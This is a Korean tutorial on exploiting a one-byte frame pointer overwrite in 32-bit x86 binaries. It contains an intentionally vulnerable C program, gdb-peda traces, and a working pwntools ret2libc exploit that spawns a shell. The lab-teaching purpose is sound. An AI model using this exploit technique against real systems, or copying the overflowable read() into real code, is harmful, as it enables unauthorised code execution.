Excuse the ads! We need some help to keep our site up.
x86에서도 x64 환경과 같이 Frame Pointer를 1byte 덮어써서 코드의 흐름을 변경 할 수 있습니다.
32 bit Binary의 경우 64bit와 달리 스택을 16 바이트 경계에 정렬하는 코드가 추가됩니다.
x86-64 ABI는 16 바이트 스택 정렬이 필요합니다.
ABI와 호환되지 않는 환경에서 스택 공간을 제한해서 사용하기 위해서 입니다.
펜티엄 III에서 SSE(Streaming SIMD Extension) 데이터 유형 __m128이 16 바이트 정렬되지 않으면 올바르게 작동하지 않을 수 있습니다.
|
//gcc -m32 -fno-stack-protector -o fpo fpo.c -ldl #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> #include <stdlib.h> void vuln(){ char buf[50]; printf("buf[50] address : %p\n",buf); void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); read(0, buf, 63); } void main(int argc, char *argv[]){ if(argc<2){ printf("argv error\n"); exit(0); } vuln(); } |
lazenca0x0@ubuntu:~/Exploit/FPO$ gdb -q ./fpo Reading symbols from ./fpo...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x080485d3 <+0>: lea ecx,[esp+0x4] 0x080485d7 <+4>: and esp,0xfffffff0 0x080485da <+7>: push DWORD PTR [ecx-0x4] 0x080485dd <+10>: push ebp 0x080485de <+11>: mov ebp,esp 0x080485e0 <+13>: push ecx 0x080485e1 <+14>: sub esp,0x4 0x080485e4 <+17>: mov eax,ecx 0x080485e6 <+19>: cmp DWORD PTR [eax],0x1 0x080485e9 <+22>: jg 0x8048605 <main+50> 0x080485eb <+24>: sub esp,0xc 0x080485ee <+27>: push 0x80486d4 0x080485f3 <+32>: call 0x8048430 <puts@plt> 0x080485f8 <+37>: add esp,0x10 0x080485fb <+40>: sub esp,0xc 0x080485fe <+43>: push 0x0 0x08048600 <+45>: call 0x8048440 <exit@plt> 0x08048605 <+50>: call 0x804857b <vuln> 0x0804860a <+55>: nop 0x0804860b <+56>: mov ecx,DWORD PTR [ebp-0x4] 0x0804860e <+59>: leave 0x0804860f <+60>: lea esp,[ecx-0x4] 0x08048612 <+63>: ret End of assembler dump. gdb-peda$ b *0x080485d3 Breakpoint 1 at 0x80485d3 gdb-peda$ |
gdb-peda$ r AAAA Starting program: /home/lazenca0x0/Exploit/FPO/fpo AAAA Breakpoint 1, 0x080485d3 in main () gdb-peda$ i r esp esp 0xffffd59c 0xffffd59c gdb-peda$ p/x 0xffffd59c + 0x4 $1 = 0xffffd5a0 gdb-peda$ ni 0x080485d7 in main () gdb-peda$ i r esp esp 0xffffd59c 0xffffd59c gdb-peda$ p/x 0xffffd59c & 0xfffffff0 $2 = 0xffffd590 gdb-peda$ ni 0x080485da in main () gdb-peda$ i r esp esp 0xffffd590 0xffffd590 gdb-peda$ i r ecx ecx 0xffffd5a0 0xffffd5a0 gdb-peda$ x/wx 0xffffd5a0 - 0x4 0xffffd59c: 0xf7e18637 gdb-peda$ x/i 0xf7e18637 0xf7e18637 <__libc_start_main+247>: add esp,0x10 gdb-peda$ |
gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0804857b <+0>: push ebp 0x0804857c <+1>: mov ebp,esp 0x0804857e <+3>: sub esp,0x48 0x08048581 <+6>: sub esp,0x8 0x08048584 <+9>: lea eax,[ebp-0x3e] 0x08048587 <+12>: push eax 0x08048588 <+13>: push 0x80486a0 0x0804858d <+18>: call 0x8048420 <printf@plt> 0x08048592 <+23>: add esp,0x10 0x08048595 <+26>: sub esp,0x8 0x08048598 <+29>: push 0x80486b6 0x0804859d <+34>: push 0xffffffff 0x0804859f <+36>: call 0x8048460 <dlsym@plt> 0x080485a4 <+41>: add esp,0x10 0x080485a7 <+44>: mov DWORD PTR [ebp-0xc],eax 0x080485aa <+47>: sub esp,0x8 0x080485ad <+50>: push DWORD PTR [ebp-0xc] 0x080485b0 <+53>: push 0x80486bd 0x080485b5 <+58>: call 0x8048420 <printf@plt> 0x080485ba <+63>: add esp,0x10 0x080485bd <+66>: sub esp,0x4 0x080485c0 <+69>: push 0x3f 0x080485c2 <+71>: lea eax,[ebp-0x3e] 0x080485c5 <+74>: push eax 0x080485c6 <+75>: push 0x0 0x080485c8 <+77>: call 0x8048410 <read@plt> 0x080485cd <+82>: add esp,0x10 0x080485d0 <+85>: nop 0x080485d1 <+86>: leave 0x080485d2 <+87>: ret End of assembler dump. gdb-peda$ b *0x0804857e Breakpoint 2 at 0x804857e gdb-peda$ b *0x080485d1 Breakpoint 3 at 0x80485d1 gdb-peda$ b *0x0804860b Breakpoint 4 at 0x804860b gdb-peda$ |
gdb-peda$ c Continuing. Breakpoint 2, 0x0804857e in vuln () gdb-peda$ i r ebp ebp 0xffffd578 0xffffd578 gdb-peda$ x/2wx 0xffffd578 0xffffd578: 0xffffd588 0x0804860a gdb-peda$ |
gdb-peda$ c Continuing. buf[50] address : 0xffffd53a Printf() address : 0xf7e49020 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP Breakpoint 3, 0x080485d1 in vuln () gdb-peda$ P $3 = 0xffffd590 gdb-peda$ i r ebp ebp 0xffffd578 0xffffd578 gdb-peda$ x/2wx 0xffffd578 0xffffd578: 0xffffd550 0x0804860a gdb-peda$ ni 0x080485d2 in main () gdb-peda$ i r ebp ebp 0xffffd550 0xffffd550 gdb-peda$ |
gdb-peda$ c Continuing. Breakpoint 4, 0x0804860b in main () gdb-peda$ i r ebp ebp 0xffffd550 0xffffd550 gdb-peda$ x/wx 0xffffd550 - 0x4 0xffffd54c: 0x46464545 gdb-peda$ ni 0x0804860e in main () gdb-peda$ i r ecx ecx 0x46464545 0x46464545 gdb-peda$ c Continuing. Program received signal SIGSEGV, Segmentation fault. Stopped reason: SIGSEGV 0x08048612 in main () gdb-peda$ i r esp esp 0x46464541 0x46464541 gdb-peda$ |
from pwn import * p = process(['./fpo','AAAA']) p.recvuntil('buf[50] address : ') tmp = p.recv(10) stackAddr = int(tmp,16) stackAddr += 0x8 onebyte = int(tmp[8:11],16) onebyte += 0x4 p.recvuntil('Printf() address : ') libc = p.recvuntil('\n') libc = int(libc,16) libcBase = libc - 0x49020 sysAddr = libcBase + 0x3a940 exit = libcBase + 0x2e7b0 binsh = libcBase + 0x15902b print "StackAddr : " + hex(stackAddr) print "onebyte : " + hex(onebyte) print "libc base : " + hex(libcBase) print "system() : " +hex(sysAddr) print "exit() : " +hex(exit) print "binsh : " + hex(binsh) exploit = p32(stackAddr) exploit += p32(sysAddr) exploit += p32(exit) exploit += p32(binsh) exploit += '\x90' * (62 - len(exploit)) exploit += p32(onebyte) p.send(exploit) p.interactive() |
lazenca0x0@ubuntu:~/Exploit/FPO$ python exploit.py [+] Starting local process './fpo': pid 4830 StackAddr : 0xffc98542 onebyte : 0x3e libc base : 0xf7d8d000 system() : 0xf7dc7940 exit() : 0xf7dbb7b0 binsh : 0xf7ee602b [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ |